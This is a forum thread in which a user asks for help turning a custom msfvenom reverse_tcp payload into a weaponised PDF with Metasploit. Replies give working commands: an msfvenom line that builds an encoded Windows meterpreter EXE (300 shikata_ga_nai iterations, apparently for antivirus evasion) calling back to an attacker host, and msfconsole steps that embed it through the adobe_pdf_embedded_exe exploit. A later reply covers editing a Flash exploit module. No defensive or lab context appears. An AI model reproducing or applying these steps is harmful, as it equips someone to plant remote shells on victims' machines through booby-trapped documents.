Forum Thread: Missing Compatible Metasploit<major_version> Class Constant

Hi,

i've encoded a reversetcp payload with msfvenom and saved it to my home folder, and of course i know that i should change the location of it to " /usr/share/metasploit-framework/modules/payloads/singles/windows/ " however, i keep constantly getting this error every time i reload metasploit :-

" The following modules could not be loaded!

/- /usr/share/metasploit-framework/modules/payloads/singles/windows/meterpreterbeavertcp.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (singles/windows/meterpreterbeavertcp from /usr/share/metasploit-framework/modules/payloads/singles/windows/meterpreterbeavertcp.rb) due to Missing compatible Metasploit<majorversion> class constant"

and i've tried even to change its location to /msf4/, but same error :"
"WARNING! The following modules could not be loaded!

/- /root/.msf4/modules/payloads/windows/singles/reversetcp.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/singles/reversetcp from /root/.msf4/modules/payloads/windows/singles/meterpreterbeavertcp.rb) due to Missing compatible Metasploit<majorversion> class constant"

i've tried to look for a solution everywhere, and i've used Google, but nothing so far.and in case it's relevant i'm trying to use the custom payload for the pdf exploit, and i keep getting "The value specified for payload is not valid ", but i think i should solve the first issue with missing compatible metasploit error, then this one.

Anyway, i appreciate all help i could get here :) .

11 Responses

Did you read the error message?

ghost_

believe me i did, and till this moment i'm still trying to figure out what it means, but no luck. if you have anything in mind, please tell me, your help is appreciated.

I would would just throw an update to it and see what happens.

  1. Missing compatible Metasploit<majorversion> class constant. So metasploit can't find this.
  2. It is looking for it in a specific location:

/usr/share/metasploit-framework/modules/payloads/singles/windows/meterpreterbeavertcp.rb
and the other directory you used

  1. So it's expecting there to be a ruby script(.rb) called meterpreterbeavertcp.rb in that location.

It seems perhaps that the script is there, but it doesn't fulfill a certain requirement, which would probably be that it's "Missing compatible Metasploit<majorversion> class constant". Did you write this script yourself? If so, maybe comparing it with other scripts that come with metasploit(and would therefore fulfill all requirements) might shed light on what's missing from your script. Just a suggestion.

Why are you saving the payload in the location you specified? The error you are getting is because you put a who knows what file in a location metasploit is expecting a .rb file with a specific format. I will take a guess and say your encoded payload doesn't meet that format. Try this...

  1. Move your custom payload somewhere else, like your desktop.
  2. restart metasploit
  3. When you set the payload in your exploit try this:

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > set PAYLOAD generic/custom
PAYLOAD => generic/custom
msf exploit(adobe_pdf_embedded_exe) > set PAYLOADFILE /root/Desktop/<custom_payload>
PAYLOADFILE => /root/Desktop/<custom_payload>
msf exploit(adobe_pdf_embedded_exe) >

DILL

Bro i have tried this method too, but no matter what i do after choosing the generic/custom payload, i get always the same result whenever i type exploit, here's a picture and i have chosen quite many other pdfs and it just doesn't work unless i choose a payload from the metasploit interface, not a custom one.

if anyone know a solution for this i'll be grateful

and here is another picture of the command i use to generate my custom payload :-

Ok, try this
generate EXE payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP_Address> LPORT=<port> -e x86/shikata_ga_nai -i 300 -f exe -o test_tcp.exe

Then set the EXE::Custom setting.

msf exploit(adobe_pdf_embedded_exe) > set EXE::CUSTOM '/root/test_tcp.exe'
EXE::CUSTOM => /root/test_tcp.exe

Don't set any other payload options, this will use your custom exe to embed within the pdf.

Also what is the ENGA2S2.pdf? Is this a cutom pdf you have created? If so it has to be compatible with the exploit ie created in adobe 9 or earlier.

Thank it worked. but do you have any idea how can i use a custom ruby payload that i have created?, because this is getting on my nerves since the last 3 days, and i've looked everywhere but no luck so far :/

What do you mean? Custom ruby payload for the "adobe_pdf_embedded_exe" exploit?

it's a classstyle erro ,please try change MetasploitModules into Metasploit3.
put this into console:
nano /usr/share/metasploit-framework/modules/exploits/windows/flash/Adobe
FlashHackingTeamexploit.rb
then ,youwill find this sentence:
class MetasploitModules< Msf::Exploit::Remote
Rank = GreatRanking # aslr+dep b

ypass, js heap spray, rop, stack bof
just change it!

Share Your Thoughts

  • Hot
  • Active